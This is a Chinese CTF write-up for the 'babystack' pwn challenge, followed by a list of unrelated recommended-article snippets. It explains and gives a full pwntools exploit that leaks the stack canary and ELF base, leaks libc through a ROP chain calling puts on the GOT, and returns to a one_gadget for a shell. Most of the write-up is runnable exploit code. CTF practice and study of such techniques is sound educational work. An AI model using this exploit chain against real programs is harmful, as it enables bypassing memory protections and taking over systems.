baystack(ret2one_gadget)
babystack
首先检查一下保护

全保护开启,我们IDA分析一下。

main函数很简单,首先第一个read明显存在漏洞,如果不是以 \n 结尾会存在栈中地址的泄漏。
payload = 'A'*0x88+'A' #这里多加一个A是因为canary的低字节为\x00
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)

第一个read我们泄漏了canary和elf的基地址。接下来我们用第二read 泄漏libc地址,控制程序返回main函数
pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
接下来我们就可以ret2onegadget了。
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.27.so')
#--------------------leak canary elf_base---------------#
payload = 'A'*0x88+'A'
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)
#——----------------leak libc_base-----------------------------#
pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
#---------------ret2 one_gadget----------------------------------#
one = [0x10a38c,0x4f322,0x4f2c5]
p.sendafter("What's your name: ",'AAAA')
payload = 'A'*0x88 + p64(canary) + 'B'*8 + p64(libc_base+one[0])
p.sendafter('to say: ',payload)
p.interactive()
baystack(ret2one_gadget)的更多相关文章
- Freebsd 编译内核
# cd /usr/src/sys/i386/conf # cp GENERIC GENERIC.20060812# ee GENERIC 如果要加入ipf防火墙的话则加入options ...
- snmp oid 和厂商对应关系
<node oid="default" name="Unknown" type="workstation"/><node ...
- 鹏城杯_2018_treasure
鹏城杯_2018_treasure 首先检查一下保护: IDA分析 我们先来看看settreasure()函数 申请了两个内存空间,并往sea中复制了shellcode 看看这个shellcode,不 ...
- 攻防世界pwn高手区——pwn1
攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...
随机推荐
- DeFi下半场,除了YFI,还有BGV!
自今年夏季开始,DeFi市场便已经进入火热态势,且持续至今.其中,去中心化交易所(DEX)以及各种金融衍生品的出现,吸引了大批资金的进入,资本市场的目光已从传统金融移到了DeFi市场,期望着能够从De ...
- Javascript中的事件对象和事件类型
接上次看JS的事件冒泡和捕获,所以顺带就把事件相关的知识都看完好了 而且想到一个好的学习方法,第一天自己看,第二天把前一天学习的东西写下来,一方面可以当复习,一方面当重新整理并且分享 事件对象 事件处 ...
- JDBC 用PreparedStatement语句动态操作SQL语句
https://blog.csdn.net/u014453898/article/details/79038187 1.Statement 和 PreparedStatement: Statement ...
- Spring Cloud基础
1.网站架构演变过程 传统架构(单点应用SSM或SSH)→分布式架构(项目拆分)→SOA架构(面向服务架构)→微服务架构 2.微服务概述 2.1SOA架构 面向服务的架构(SOA)是一个组件模型,它将 ...
- (数据科学学习手札109)Python+Dash快速web应用开发——静态部件篇(中)
本文示例代码已上传至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 这是我的系列教程Python+Dash快速web ...
- Pyqt5——变色的表格
需求:鼠标左键点击表格后,对应的单元格背景颜色发生变化. 实现:(1)使用Qt的model-view模式生成表格视图. (2)重写表格的点击事件. (3)设置表格的背景颜色. 正常情况下,当用户选中单 ...
- pytorch中多个loss回传的参数影响示例
写了一段代码如下: import torch import torch.nn as nn import torch.nn.functional as F class Test(nn.Module): ...
- Python3+pygame实现的90坦克大战 代码完整 有演示效果
我是一个典型的80后,年轻时玩过了特别多的游戏,所以这几天用Python3+pygame实现了一个另外小游戏"坦克大战"(其他的游戏,请翻阅我的博客) 本实例代码量有些多,完整的版 ...
- 【pytest官方文档】解读fixtures - 7. Teardown处理,yield和addfinalizer
当我们运行测试函数时,我们希望确保测试函数在运行结束后,可以自己清理掉对环境的影响. 这样的话,它们就不会干扰任何其他的测试函数,更不会日积月累的留下越来越多的测试数据. 用过unittest的朋友相 ...
- ECMAScript 2016(ES7)新特性简介
简介 自从ES6(ECMAScript 2015)在2015年发布以来,ECMAScript以每年一个版本的速度持续向前发展.到现在已经是ECMAScript 2020了. 每个版本都有一些新的特性, ...